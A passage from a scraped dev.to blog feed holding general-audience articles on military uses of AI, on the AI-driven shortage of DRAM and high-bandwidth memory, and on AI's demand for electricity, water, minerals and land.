AI changes drones in three major ways:&lt;br&gt;
• Navigation without continuous GPS or operator control&lt;br&gt;
• Target recognition and tracking&lt;br&gt;
• Coordination among multiple drones&lt;br&gt;
Swarming does not require science fiction levels of intelligence. A swarm can be built from relatively simple behaviours: separation, alignment, task allocation, and route adjustment. The hard problems are communications, resilience, identification, and mission control under jamming.&lt;/p&gt;

&lt;p&gt;Military networks are contested. GPS may be jammed or spoofed. Radio links may be detected and targeted while cloud connectivity may be unavailable. &lt;/p&gt;

&lt;p&gt;This pushes AI workloads to the edge. Models must run on low-power processors inside drones, vehicles, and sensors.&lt;br&gt;
That creates engineering constraints familiar to embedded developers:&lt;br&gt;
• Limited compute and memory&lt;br&gt;
• Thermal limits&lt;br&gt;
• Power consumption trade-offs&lt;br&gt;
• Model compression and quantization&lt;br&gt;
• Real-time inference requirements&lt;br&gt;
• Fault tolerance after partial damage&lt;br&gt;
• Secure boot and tamper resistance&lt;/p&gt;

&lt;p&gt;A model that performs well in a lab may fail on a drone with a small processor, dirty lens, vibration, packet loss, and hostile electronic interference.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AI in Cyber and Electronic Warfare&lt;/strong&gt;&lt;br&gt;
Cyber operations have long used automation, but AI is accelerating detection, exploitation, deception, and defence. Military networks include traditional IT, operational technology, satellite links, radio systems, weapon platforms, and logistics software. &lt;/p&gt;

&lt;p&gt;That broad attack surface makes automation attractive to both attackers and defenders.&lt;br&gt;
Defensive uses include anomaly detection, malware classification, automated triage, and identity behaviour analytics. Offensive uses may include vulnerability discovery, phishing generation, target profiling, and adaptive malware behaviour. &lt;/p&gt;

&lt;p&gt;The same techniques used in enterprise security operations centres appear in military cyber units, but the stakes and integration requirements differ.&lt;/p&gt;

&lt;p&gt;Electronic warfare is also becoming more software-defined. AI can help classify radar emissions, detect jamming patterns, optimize spectrum usage, and adapt communications under interference. A force that can maintain data links while degrading an opponent’s sensors gains a major advantage.&lt;/p&gt;

&lt;p&gt;AI-enabled electronic warfare is less visible than drones, but it may be more decisive. If one side blinds the other’s sensors, corrupts its location data, or disrupts command networks, expensive platforms become far less useful.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Logistics, Maintenance, and Readiness&lt;/strong&gt;&lt;br&gt;
War is not only about firing weapons. Armies run on fuel, spare parts, medical support, ammunition, transport capacity, and maintenance schedules. AI can improve readiness by predicting failures, optimizing supply routes, and allocating scarce resources.&lt;/p&gt;

&lt;p&gt;Predictive maintenance is one of the clearest applications. Aircraft, ships, and armoured vehicles generate sensor data on engines, hydraulics, electrical systems, and structural wear. Machine learning models can also detect patterns that precede failures thereby replacing a component before it fails keeping equipment available and reduce dangerous breakdowns during operations.&lt;/p&gt;

&lt;p&gt;Logistics AI can also model demand. Ammunition usage, weather, terrain, unit movement, and enemy activity all affect consumption. Accurate forecasting helps commanders avoid shortages without overloading supply chains.&lt;/p&gt;

&lt;p&gt;These systems resemble enterprise resource planning and industrial IoT platforms, but with hostile interference, damaged infrastructure, and incomplete data. A logistics model may need to operate with missing inputs, destroyed roads, cyberattacks, and deliberate deception.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Synthetic Training and Simulation&lt;/strong&gt;&lt;br&gt;
AI is improving military training through synthetic environments, adaptive opponents, and automated scenario generation. Pilots, cyber teams, drone operators, and commanders can train against AI-controlled adversaries that adjust tactics in real time.&lt;/p&gt;

&lt;p&gt;Reinforcement learning is especially relevant in simulation. Systems can run thousands or millions of iterations to evaluate tactics, resource allocation, and platform behaviour. Human teams can then train against more varied scenarios than a scripted exercise would provide.&lt;br&gt;
Synthetic data also helps train perception models where real-world data is limited or classified. Simulated vehicles, terrain, weather, and sensor effects can produce labelled datasets at scale. The danger is sim-to-real mismatch.&lt;/p&gt;

&lt;p&gt;A model trained on synthetic images may underperform against real camouflage, dust, smoke, shadows, and sensor artifacts.&lt;br&gt;
Good synthetic training requires validation against real-world observations. Without that, simulation can create false confidence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Reliability Gap&lt;/strong&gt;&lt;br&gt;
AI systems in war face adversaries who deliberately attack their assumptions. This separates military AI from many commercial deployments.&lt;br&gt;
Common failure modes include:&lt;br&gt;
• Adversarial examples that fool classifiers&lt;br&gt;
• Spoofed GPS or sensor inputs&lt;br&gt;
• Decoys designed to mimic real targets&lt;br&gt;
• Data poisoning during model training&lt;br&gt;
• Communications disruption&lt;br&gt;
• Model drift as tactics change&lt;br&gt;
• Overconfidence in low-quality data&lt;br&gt;
• Poor performance outside training conditions&lt;/p&gt;

&lt;p&gt;Security teams already understand that systems fail at boundaries. Military AI lives at the boundary: bad weather, incomplete data, deception, stress, and urgent decisions.&lt;/p&gt;

&lt;p&gt;Testing must go beyond aggregate accuracy. A model with 95 percent overall accuracy may still fail catastrophically on rare but critical cases, such as distinguishing a civilian bus from a military transport at night. Evaluation should include false positives, false negatives, calibration, robustness, adversarial testing, and operational red-teaming.&lt;/p&gt;

&lt;p&gt;Version control also matters. Military organizations need to know which model version produced a recommendation, what data trained it, what limitations were documented, and whether operators followed or rejected the recommendation. That requires MLOps discipline under classified, disconnected, and high-security conditions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command Speed and Escalation Risk&lt;/strong&gt;&lt;br&gt;
AI compresses decision cycles. Faster detection and targeting can protect forces, but speed also creates escalation risk.&lt;/p&gt;

&lt;p&gt;If two opposing militaries deploy AI-assisted command systems, each may feel pressure to act before the other. Automated alerts can create a perception of imminent attack. Cyber and electronic interference can obscure intent. A false warning generated by a flawed model could push commanders toward unnecessary escalation.&lt;/p&gt;

&lt;p&gt;This is especially dangerous around nuclear forces, early-warning systems, and strategic command networks. AI should be treated with extreme caution in any system connected to nuclear decision-making. False positives, spoofing, and opaque recommendations are unacceptable where minutes matter and consequences are irreversible.&lt;/p&gt;

&lt;p&gt;Slower, more deliberate processes are sometimes safer. Not every military function should be optimized for speed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Legal and Ethical Constraints&lt;/strong&gt;&lt;br&gt;
International humanitarian law requires distinction, proportionality, and military necessity. AI systems do not remove those obligations. If anything, they make compliance harder to verify.&lt;/p&gt;

&lt;p&gt;A model may identify a vehicle as military, but legal targeting also depends on context. Who is nearby? What is the expected civilian harm? Is the target currently participating in hostilities? Is the anticipated military advantage concrete and direct? These judgments cannot be reduced to object detection.&lt;/p&gt;

&lt;p&gt;Accountability is another unresolved issue. If an AI-assisted strike hits the wrong target, responsibility may involve commanders, operators, software developers, data labelers, acquisition officials, and political leaders. Complex supply chains make this harder. Defense AI may include commercial models, open-source components, classified datasets, and contractor-built integration layers.&lt;br&gt;
Technical governance should include:&lt;br&gt;
• Clear use boundaries&lt;br&gt;
• Human review requirements&lt;br&gt;
• Audit trails&lt;br&gt;
• Dataset documentation&lt;br&gt;
• Model evaluation reports&lt;br&gt;
• Red-team testing&lt;br&gt;
• Post-incident review processes&lt;br&gt;
• Restrictions on autonomous target selection&lt;br&gt;
These controls will not eliminate risk, but they make risk visible and assignable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Comes Next&lt;/strong&gt;&lt;br&gt;
The next phase of AI in war will be less about single impressive systems and more about integration. The side that connects sensors, networks, analysts, commanders, weapons, and logistics into a resilient technical stack will gain real advantage.&lt;/p&gt;

&lt;p&gt;Expect continued investment in edge AI, autonomous drones, AI-assisted cyber operations, electronic warfare, synthetic training, and decision-support tools. Also expect counter-AI systems: spoofing, decoys, jamming, adversarial camouflage, model poisoning, and attacks on data pipelines.&lt;br&gt;
The decisive question is not whether AI will be used in war. It already is. &lt;/p&gt;

&lt;p&gt;The question is whether militaries can build systems that are fast without being reckless, autonomous without being unaccountable, and technically powerful without pushing human judgment out of decisions that still require it.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>automation</category>
      <category>machinelearning</category>
      <category>systemdesign</category>
    </item>
    <item>
      <title>Silicon Scarcity: Why AI Is Gobbling Up the World’s RAM</title>
      <dc:creator>Njenga Ng'ang'a</dc:creator>
      <pubDate>Mon, 10 Aug 2026 10:57:31 +0000</pubDate>
      <link>https://dev.to/njenga_nganga_00063bc67/silicon-scarcity-why-ai-is-gobbling-up-the-worlds-ram-2a53</link>
      <guid>https://dev.to/njenga_nganga_00063bc67/silicon-scarcity-why-ai-is-gobbling-up-the-worlds-ram-2a53</guid>
      <description>&lt;p&gt;AI training clusters have turned DRAM _(Dynamic Random Access Memory) _from a background commodity into a hard constraint on computing capacity.&lt;/p&gt;

&lt;p&gt;For two decades, memory buyers grew used to a simple pattern: DRAM got cheaper per gigabyte, servers shipped with more of it, and consumer devices quietly benefited from the same manufacturing scale. &lt;/p&gt;

&lt;p&gt;That pattern has broken. Generative AI has changed the demand curve for memory faster than semiconductor manufacturers can add cleanroom space, qualify new process nodes, and raise yields on advanced packages.&lt;/p&gt;

&lt;p&gt;The shortage is not just about more laptops needing more RAM. It is about Nvidia GPU racks, high-bandwidth memory stacks, enterprise DDR5 servers, and hyperscalers signing supply agreements years ahead of time. Memory is no longer merely attached to computing. For AI, memory is part of the compute engine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why AI Needs So Much Memory&lt;/strong&gt;&lt;br&gt;
Modern AI systems are limited as much by memory movement as by arithmetic.&lt;br&gt;
A GPU can perform huge numbers of matrix multiplications per second, but those operations stall if data cannot be fed quickly enough. &lt;/p&gt;

&lt;p&gt;Large language models require constant movement of model weights, activations, gradients, optimizer states, and training data. &lt;br&gt;
During training, memory pressure rises sharply because the system must store intermediate values for backpropagation. During inference, the key constraint often becomes serving many users at once while maintaining a large key-value cache for context.&lt;/p&gt;

&lt;p&gt;A 70-billion-parameter model in 16-bit precision needs roughly 140 GB just to store the raw weights. Training the same model can require several times that amount once optimizer states and activations are included. Larger frontier models push into hundreds of billions or trillions of parameters, distributed across thousands of accelerators.&lt;/p&gt;

&lt;p&gt;This is why high-bandwidth memory, or HBM, has become the critical memory product for AI. An Nvidia H100 uses HBM3. An H200 uses HBM3e with 141 GB of memory and bandwidth around 4.8 TB/s. AMD’s MI300X ships with 192 GB of HBM3 and bandwidth above 5 TB/s. These are not ordinary DRAM modules plugged into a motherboard. They are stacked memory packages connected to processors through silicon interposers and advanced packaging.&lt;/p&gt;

&lt;p&gt;That distinction matters because HBM consumes manufacturing capacity differently from commodity DRAM. It uses known DRAM cell technology, but with far more complex stacking, through-silicon vias, tighter testing requirements, and lower tolerance for defects. A failed die can compromise a stack. Yields take time to improve.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HBM Is Eating the Best Capacity First&lt;/strong&gt;&lt;br&gt;
The global DRAM market is dominated by three companies: Samsung, SK Hynix, and Micron. All three are shifting production toward high-margin products: HBM, DDR5 server memory, and enterprise-class modules.&lt;/p&gt;

&lt;p&gt;IDC’s market analysis of the memory shortage describes this shift clearly. Manufacturers are reallocating cleanroom capacity away from lower-margin consumer electronics and toward HBM and enterprise DDR5. &lt;/p&gt;

&lt;p&gt;The reason is simple: an HBM stack sold into an AI accelerator supply chain can command much better economics than LPDDR for a midrange smartphone or standard DDR4 for a low-cost PC.&lt;/p&gt;

&lt;p&gt;This does not mean factories can instantly switch from one product to another. DRAM fabs are expensive, highly specialized facilities. Capacity decisions made today affect supply quarters or years later. HBM also requires advanced packaging capacity, not just wafer starts. &lt;/p&gt;

&lt;p&gt;SK Hynix may have wafers _(a thin slice of semiconductor material—usually high-purity silicon—used as the physical foundation to build the microchips that power AI model training and inference) _available, but if packaging lines for HBM3e are constrained, finished supply remains tight.&lt;br&gt;
That is the core engineering issue behind the current shortage. &lt;/p&gt;

&lt;p&gt;AI demand is pulling on the most technically demanding part of the memory supply chain. The result is a capacity squeeze that starts with HBM and then spreads into server DRAM, consumer DRAM, and eventually device pricing.&lt;/p&gt;

&lt;p&gt;Hyperscalers Are Absorbing Supply Before It Reaches the Open Market&lt;br&gt;
The buyers driving this cycle are not ordinary OEMs placing quarterly component orders. They are hyperscalers and AI infrastructure companies building clusters with tens of thousands of accelerators.&lt;/p&gt;

&lt;p&gt;Microsoft, Google, Amazon, Meta, Oracle, CoreWeave, xAI, and several large Chinese cloud firms are competing for the same memory-heavy hardware. A single AI server populated with eight high-end GPUs may include more than a terabyte of HBM across accelerators plus 1 TB to 2 TB of DDR5 system memory. &lt;/p&gt;

&lt;p&gt;Scale that to a 10,000-GPU cluster and the numbers become enormous.&lt;br&gt;
A rough example:&lt;br&gt;
• 10,000 Nvidia H200 GPUs at 141 GB each require about 1.41 petabytes of HBM.&lt;br&gt;
• If those GPUs sit in 1,250 eight-GPU servers with 2 TB of system DRAM each, that adds another 2.5 petabytes of DDR5.&lt;br&gt;
• Networking, storage nodes, CPU-only orchestration servers, and redundancy add more memory demand outside the GPU nodes.&lt;/p&gt;

&lt;p&gt;Those clusters are not experimental lab builds. They are now standard infrastructure for companies training and serving large models. J.P. Morgan Global Research, in its analysis of the AI-driven memory shortage, identifies hyperscaler data centre demand as a major force absorbing global memory capacity and pushing DRAM prices higher into 2026.&lt;/p&gt;

&lt;p&gt;This also changes contract behaviour. Large buyers secure supply through long-term agreements. Smaller server builders, PC manufacturers, and channel distributors are left competing for whatever remains. Spot prices move first. Contract prices follow.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DRAM Pricing Has Snapped Back&lt;/strong&gt;&lt;br&gt;
DRAM has always been cyclical. Prices rise when supply tightens, then crash when producers overbuild. But the current cycle has a different shape because the demand shock is tied to a structural compute buildout rather than a temporary inventory correction.&lt;/p&gt;

&lt;p&gt;Tom’s Hardware, citing industry analysis, reported that RAM pricing has reverted to normalized 2007 levels after years of steady improvement in cost per gigabyte. That is an extraordinary reversal. The economics of memory had trained buyers to expect more capacity for less money every product generation. AI erased a large part of that progress in a short period.&lt;br&gt;
The effect is visible across categories:&lt;br&gt;
• DDR5 server DIMMs have become more expensive and harder to allocate.&lt;br&gt;
• HBM capacity is booked far ahead.&lt;br&gt;
• Consumer DDR5 kits have seen price increases after a period of oversupply.&lt;br&gt;
• Older DDR4 has not disappeared from pressure because some buyers downgrade or extend existing platforms.&lt;br&gt;
• Enterprise buyers face longer lead times for memory-heavy server configurations.&lt;/p&gt;

&lt;p&gt;J.P. Morgan’s research links this pricing pressure to broader inflation risk in electronics and data centre capital spending. If memory prices rise steeply through 2026, server bills of materials rise with them. Cloud providers then face a choice: absorb lower margins, raise prices, ration capacity, or prioritize the highest-paying workloads.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why More Fabs Will Not Fix This Quickly&lt;/strong&gt;&lt;br&gt;
The intuitive answer to shortage is more production. Semiconductor manufacturing does not move at that speed.&lt;br&gt;
A leading-edge memory fab costs billions of dollars and takes years to build, equip, qualify, and ramp. Even expansions inside existing fabs &lt;em&gt;(semiconductor silicon facility)&lt;/em&gt; require lithography tools, deposition systems, etchers, metrology equipment, and trained staff. &lt;/p&gt;

&lt;p&gt;DRAM process migration is also technically demanding. Shrinking cells while maintaining retention, endurance, and yield is not a routine copy-and-paste operation.&lt;br&gt;
HBM adds another layer of difficulty. It needs:&lt;br&gt;
• High-quality DRAM dies binned for stack reliability.&lt;br&gt;
• Through-silicon vias that connect layers vertically.&lt;br&gt;
• Precise wafer thinning.&lt;br&gt;
• Microbump bonding or hybrid bonding techniques.&lt;br&gt;
• Advanced test flows to catch defects before final integration.&lt;br&gt;
• CoWoS-like or comparable advanced packaging capacity near the accelerator vendor.&lt;/p&gt;

&lt;p&gt;Northeastern University’s technical report on AI-driven RAM price increases frames the shortage as structural because production yields cannot rise at the same rate as AI infrastructure demand. A hyperscaler can approve billions in GPU purchases faster than a memory maker can add fully qualified HBM output.&lt;/p&gt;

&lt;p&gt;This timing mismatch is the central problem. Demand is responding to software breakthroughs and competitive pressure. Supply is governed by physics, tooling, yields, and packaging throughput.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Consumer Devices Are Now Competing With AI Servers&lt;/strong&gt;&lt;br&gt;
The shortage reaches consumers through indirect pressure. A smartphone does not use HBM. A gaming PC does not use HBM. But the same manufacturers decide how much wafer capacity and capital spending to assign to each product line.&lt;/p&gt;

&lt;p&gt;IDC warns that smartphones and PCs face potential impact as Samsung, SK Hynix, and Micron favour high-margin AI and enterprise products. That may show up as higher memory prices, fewer generous base configurations, slower adoption of larger RAM capacities, or longer replacement cycles.&lt;/p&gt;

&lt;p&gt;The PC market is especially exposed because Windows laptops are moving toward higher baseline memory requirements. AI PC branding often starts at 16 GB, while premium systems are moving to 32 GB. Gaming desktops increasingly pair fast CPUs with DDR5. If module pricing rises, OEMs may protect margins by shipping fewer configurations with larger RAM, charging more for upgrades, or keeping older platforms alive longer.&lt;/p&gt;

&lt;p&gt;Smartphones face a similar squeeze. Flagship Android devices with 12 GB or 16 GB of LPDDR have become common. On-device AI features add pressure for more memory bandwidth and capacity. Yet LPDDR competes for investment attention against HBM and server DDR5. Consumers may not see “AI memory shortage” printed on a spec sheet, but they may see it in the price of the 512 GB phone with extra RAM.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Enterprises Feel the Shortage in Refresh Cycles&lt;/strong&gt;&lt;br&gt;
Corporate IT buyers are caught between aging fleets and rising component costs. Evernex’s data center and enterprise analysis points to a practical issue: allocation decisions now affect standard server RAM, not only exotic AI hardware.&lt;/p&gt;

&lt;p&gt;A company refreshing virtualization hosts, databases, analytics servers, or SAP infrastructure may need systems with 512 GB, 1 TB, or 2 TB of DRAM per node. Those are normal enterprise configurations. But AI buyers are pulling on the same DDR5 supply chain, and server OEMs may prioritize strategic cloud accounts over smaller enterprise orders.&lt;br&gt;
The immediate responses are familiar but painful:&lt;br&gt;
• Extending the life of existing servers.&lt;br&gt;
• Buying refurbished memory where warranty policies allow it.&lt;br&gt;
• Standardizing on fewer configurations to improve purchasing leverage.&lt;br&gt;
• Moving less critical workloads to cloud instances with reserved capacity.&lt;br&gt;
• Reviewing whether every workload truly needs its current memory allocation.&lt;/p&gt;

&lt;p&gt;Memory overprovisioning was cheap for years. Many organizations treated RAM as insurance. That habit becomes expensive when module prices climb and lead times stretch.&lt;/p&gt;

&lt;p&gt;The Technical Bottleneck Is Memory Bandwidth, Not Just Capacity&lt;br&gt;
Capacity grabs headlines because gigabytes are easy to count. Bandwidth is the deeper reason AI consumes specialized memory.&lt;/p&gt;

&lt;p&gt;A CPU server with DDR5 might deliver hundreds of GB/s of memory bandwidth across multiple channels. An AI accelerator with HBM delivers several TB/s. That difference is what keeps tensor cores fed. Without HBM-class bandwidth, expensive compute units sit idle.&lt;/p&gt;

&lt;p&gt;This is also why simply substituting conventional DRAM will not solve the problem. AI accelerators need memory physically close to the processor, connected through very wide interfaces. HBM achieves bandwidth through stacking and proximity rather than high clock speeds alone. The architecture is fundamentally different from socketed DIMMs.&lt;/p&gt;

&lt;p&gt;Future designs may use larger HBM stacks, HBM4, custom ASICs, optical interconnects, memory pooling, CXL-attached memory, and more efficient model architectures. These will help, but they do not remove the near-term pressure. Larger models, longer context windows, multimodal inputs, and real-time inference all increase memory demand.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Buyers Should Watch Through 2026&lt;/strong&gt;&lt;br&gt;
The next two years will be defined by allocation.&lt;br&gt;
Watch HBM3e and HBM4 qualification, not just DRAM spot prices. Watch advanced packaging capacity at TSMC and other packaging providers. &lt;/p&gt;

&lt;p&gt;Watch whether Samsung gains share in HBM after SK Hynix’s early lead. Watch Micron’s HBM ramp. Watch server DDR5 contract pricing, because that is where AI demand spills into mainstream enterprise budgets.&lt;/p&gt;

&lt;p&gt;For technical buyers, the practical move is to treat memory as a strategic component again. Lock configurations earlier. Validate second-source DIMMs. Audit workloads for wasted allocation. Consider CXL memory expansion where latency profiles fit. Avoid assuming that next quarter will be cheaper.&lt;/p&gt;

&lt;p&gt;AI has made RAM scarce because memory is where modern computation touches physical reality: charged capacitors, stacked dies, bonded wafers, cleanroom capacity, and delivery contracts signed before a server ever appears in a rack. The companies that plan around that constraint will build; the ones waiting for old pricing patterns to return will be stuck repricing purchase orders.&lt;/p&gt;

&lt;p&gt;In conclusion, the next wave of AI hardware will advertise more compute, but the real question will be simpler: how much memory can it get, how fast can it move data, and who already reserved the supply?&lt;/p&gt;

</description>
      <category>ai</category>
      <category>hardware</category>
      <category>infrastructure</category>
    </item>
    <item>
      <title>AI’s Effect on Earth’s Natural Resources</title>
      <dc:creator>Njenga Ng'ang'a</dc:creator>
      <pubDate>Tue, 04 Aug 2026 16:50:10 +0000</pubDate>
      <link>https://dev.to/njenga_nganga_00063bc67/ais-effect-on-earths-natural-resources-1mll</link>
      <guid>https://dev.to/njenga_nganga_00063bc67/ais-effect-on-earths-natural-resources-1mll</guid>
      <description>&lt;p&gt;AI systems convert electricity, water, minerals, land, and human-built infrastructure into computation at a scale that is now large enough to matter for resource planning.&lt;/p&gt;

&lt;p&gt;Large language models, recommendation engines, computer vision systems, autonomous logistics platforms, and scientific AI tools all depend on physical inputs. &lt;br&gt;
The software may look weightless from a user’s screen, but every query and training run draws on data centres, transmission lines, cooling systems, semiconductor fabs, mines, and global shipping networks. AI can also reduce waste, improve grid operations, optimize irrigation, and accelerate materials discovery. Its net effect on Earth’s natural resources depends on whether efficiency gains, outpace the growth in demand for computation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Physical Layer of AI
&lt;/h2&gt;

&lt;p&gt;AI runs on specialized hardware, mostly graphics processing units, tensor processing units, high-bandwidth memory, networking equipment, and storage systems. These components sit inside data centres that require continuous electricity and cooling.&lt;/p&gt;

&lt;p&gt;A modern AI training cluster may contain thousands or tens of thousands of accelerators. Nvidia’s H100 GPU has a thermal design power of up to 700 watts. &lt;br&gt;
A rack containing eight such GPUs, CPUs, memory, storage, networking gear, and power conversion equipment can draw more than 10 kilowatts. Large AI data halls can reach tens or hundreds of megawatts.&lt;br&gt;
Training a frontier model is only one part of the resource profile. &lt;/p&gt;

&lt;p&gt;Inference, the process of serving model outputs to users, can dominate long-term consumption because it runs continuously. A model trained once may be queried billions of times. The energy cost per query varies widely depending on &lt;em&gt;model size, hardware, batching, output length, _and _data centre efficiency&lt;/em&gt;, but aggregate demand rises quickly when AI is embedded into search, office software, coding tools, advertising, customer service, industrial control, and mobile devices.&lt;/p&gt;

&lt;h2&gt;
  
  
  Electricity Demand
&lt;/h2&gt;

&lt;p&gt;Data centres already account for a measurable share of global electricity use. &lt;br&gt;
The International Energy Agency estimated that data centres and data transmission networks consumed roughly 460 terawatt-hours of electricity in 2022 (&lt;em&gt;Equivalent to power running a country like Kenya for 40 years&lt;/em&gt;). The agency has projected that data centre electricity consumption could roughly double by 2026, reaching more than 1,000 terawatt-hours under high-growth assumptions.&lt;/p&gt;

&lt;p&gt;AI is not the only driver. Cloud storage, video streaming, enterprise software, cryptocurrency, and conventional web services all draw power. Still, AI changes the shape of demand because high-density accelerator clusters consume far more power per rack than traditional servers.&lt;/p&gt;

&lt;p&gt;Electricity use has three major resource implications:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Fuel consumption&lt;br&gt;
If a new data centre load is served by fossil generation, AI increases demand for coal, gas, or oil. &lt;br&gt;
Gas-fired power plants are often used for flexible generation, which can make them attractive for meeting new data centre loads.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Grid infrastructure&lt;br&gt;
Large AI facilities require substations, transformers, transmission upgrades, backup power, and sometimes dedicated power purchase agreements. Copper, aluminium, steel, concrete, and land are consumed before the first model is trained.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Opportunity cost&lt;br&gt;
Clean electricity used by data centres is not automatically additive.&lt;br&gt;
A data centre may sign a renewable energy contract, but the grid still relies on fossil plants during peak demand. As a result, the emissions and resource effects depend on time, location, and grid mix.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The technical metric commonly used inside data centres is &lt;em&gt;Power Usage Effectiveness&lt;/em&gt;, or PUE. A perfect PUE is 1.0, meaning all electricity goes to computing hardware. &lt;br&gt;
A facility with a PUE of 1.2 uses 20% extra power for cooling, lighting, power distribution losses, and other overhead. Hyperscale data centres often report PUE values near 1.1 to 1.3, but local climate, workload density, and cooling design affect performance.&lt;/p&gt;

&lt;h2&gt;
  
  
  Water Use and Cooling
&lt;/h2&gt;

&lt;p&gt;AI also affects freshwater resources through cooling and electricity generation.&lt;br&gt;
Data centres remove heat using air cooling, evaporative cooling, liquid cooling, or hybrid systems. &lt;br&gt;
Evaporative cooling can reduce electricity demand but consumes water. Liquid cooling can handle high-density AI racks more efficiently, but the overall water effect depends on the facility design and energy source.&lt;br&gt;
Water use appears in two categories:&lt;br&gt;
• On-site water consumption, used directly by the data centre for cooling.&lt;br&gt;
• Off-site water consumption, used by power plants that generate electricity for the facility.&lt;/p&gt;

&lt;p&gt;A coal, gas, nuclear, or concentrated solar plant with water-based cooling can consume substantial water per megawatt-hour. Wind and solar photovoltaic (&lt;em&gt;a technology that changes sunlight directly into electricity using special materials like silicon&lt;/em&gt;) generation have much lower operational water requirements, though manufacturing still has water impacts.&lt;/p&gt;

&lt;p&gt;The relevant technical metric is Water Usage Effectiveness, or WUE, usually measured in litres per kilowatt-hour of IT energy. A low WUE is preferred, but a facility can reduce WUE while raising electricity consumption, so PUE and WUE MUST be evaluated together.&lt;br&gt;
Location matters. A water-intensive cooling design in a wet region has different consequences from the same design in Arizona, Chile, northern Mexico, or parts of India. The stress level of the watershed is as important as the absolute volume consumed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Minerals, Chips, and Manufacturing
&lt;/h2&gt;

&lt;p&gt;AI hardware begins far from the data centre. It depends on mined and refined materials, including silicon, copper, aluminium, gold, tin, nickel, tantalum, tungsten, cobalt, rare earth elements, and high-purity quartz.&lt;/p&gt;

&lt;p&gt;Semiconductor manufacturing is resource-intensive. Advanced chips require ultrapure water, specialty gases, photoresists, solvents, acids, and large amounts of electricity.&lt;/p&gt;

&lt;p&gt;A leading-edge fabrication plant can use millions of gallons of water per day, though much of it may be treated and recycled. The water must meet extreme purity requirements because microscopic contamination can destroy wafers (&lt;em&gt;a thin, flat disc of semiconductor material—most commonly crystalline silicon—that serves as the foundational base for building microchips, integrated circuits, and solar cells&lt;/em&gt;).&lt;/p&gt;

&lt;p&gt;AI accelerators also use high-bandwidth memory and advanced packaging. These require additional manufacturing steps, substrates, interposers, and precise assembly. The supply chain spans mines, chemical plants, wafer fabs, packaging facilities, printed circuit board producers, server manufacturers, and logistics providers.&lt;br&gt;
The mineral issue is not only depletion. The larger risks include:&lt;br&gt;
• Habitat disruption from mining&lt;br&gt;
• Tailings failures and water contamination&lt;br&gt;
• Energy-intensive refining&lt;br&gt;
• Labor and safety concerns&lt;br&gt;
• Geopolitical concentration of processing capacity&lt;br&gt;
• Low recycling rates for complex electronic components&lt;br&gt;
Copper is a central constraint because AI growth coincides with electrification of transport, grid expansion, heat pumps, and renewable generation. A single large data centre campus can require significant copper for cabling, transformers, switchgear, backup systems, and utility interconnection.&lt;/p&gt;

&lt;h2&gt;
  
  
  Land, Buildings, and Backup Systems
&lt;/h2&gt;

&lt;p&gt;AI infrastructure occupies land directly through data centre campuses and indirectly through energy generation, transmission corridors, mining sites, fabrication plants, and waste facilities.&lt;/p&gt;

&lt;p&gt;A hyperscale data centre campus can cover dozens or hundreds of acres. The building shell requires concrete and steel, both associated with high energy consumption and carbon dioxide emissions. &lt;br&gt;
Backup power systems often use diesel generators, though some operators are testing batteries, hydrogen fuel cells, or grid-interactive backup designs.&lt;/p&gt;

&lt;p&gt;Land impacts depend heavily on siting. Reusing industrial land near existing transmission infrastructure reduces disturbance. Building in areas with scarce water, congested grids, or high ecological value increases resource pressure.&lt;/p&gt;

&lt;p&gt;Data centres also create heat. Most waste heat is rejected into the air or water, but some facilities in colder regions send it into district heating networks. This can improve total energy productivity, though it requires nearby heat demand and infrastructure.&lt;/p&gt;

&lt;h2&gt;
  
  
  E-Waste and Hardware Turnover
&lt;/h2&gt;

&lt;p&gt;AI hardware depreciates quickly. New accelerator generations often deliver large improvements in performance per watt, memory bandwidth, and interconnect speed. This creates pressure to replace servers before their physical end of life.&lt;/p&gt;

&lt;p&gt;Electronic waste contains valuable materials, but recovery is technically difficult. Printed circuit boards contain copper, gold, palladium, silver, and tin in small concentrations. Batteries and power systems contain additional recoverable materials. Proper recycling can reduce mining demand, but informal or poorly regulated recycling can release lead, mercury, brominated flame retardants, and other hazardous substances.&lt;br&gt;
A resource-efficient AI deployment should track:&lt;br&gt;
• Server lifetime in years&lt;br&gt;
• Utilization rate of accelerators&lt;br&gt;
• Energy consumed per training run&lt;br&gt;
• Energy consumed per 1,000 inferences&lt;br&gt;
• Hardware repairability&lt;br&gt;
• Component reuse&lt;br&gt;
• Certified recycling rates&lt;br&gt;
• Embodied carbon and embodied water per server&lt;br&gt;
Low utilization is especially wasteful. An accelerator that sits idle still represents mined minerals, factory energy, capital equipment, and transportation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Electricity Grids
&lt;/h2&gt;

&lt;p&gt;Machine learning can improve demand forecasting, renewable generation forecasting, fault detection, and power flow optimization. Better forecasts help grid operators integrate wind and solar while reducing reserve requirements. AI can also coordinate batteries, electric vehicle charging, and industrial demand response.&lt;/p&gt;

&lt;p&gt;For example, short-term wind forecasting can reduce the need for fossil backup generation. Predictive maintenance can identify transformer failures before outages occur, extending equipment life and reducing replacement material demand.&lt;/p&gt;

&lt;h2&gt;
  
  
  Agriculture and Water
&lt;/h2&gt;

&lt;p&gt;AI-assisted irrigation systems use soil moisture sensors, weather data, satellite imagery, and crop models to apply water where and when plants need it. This can reduce groundwater pumping and fertilizer runoff.&lt;br&gt;
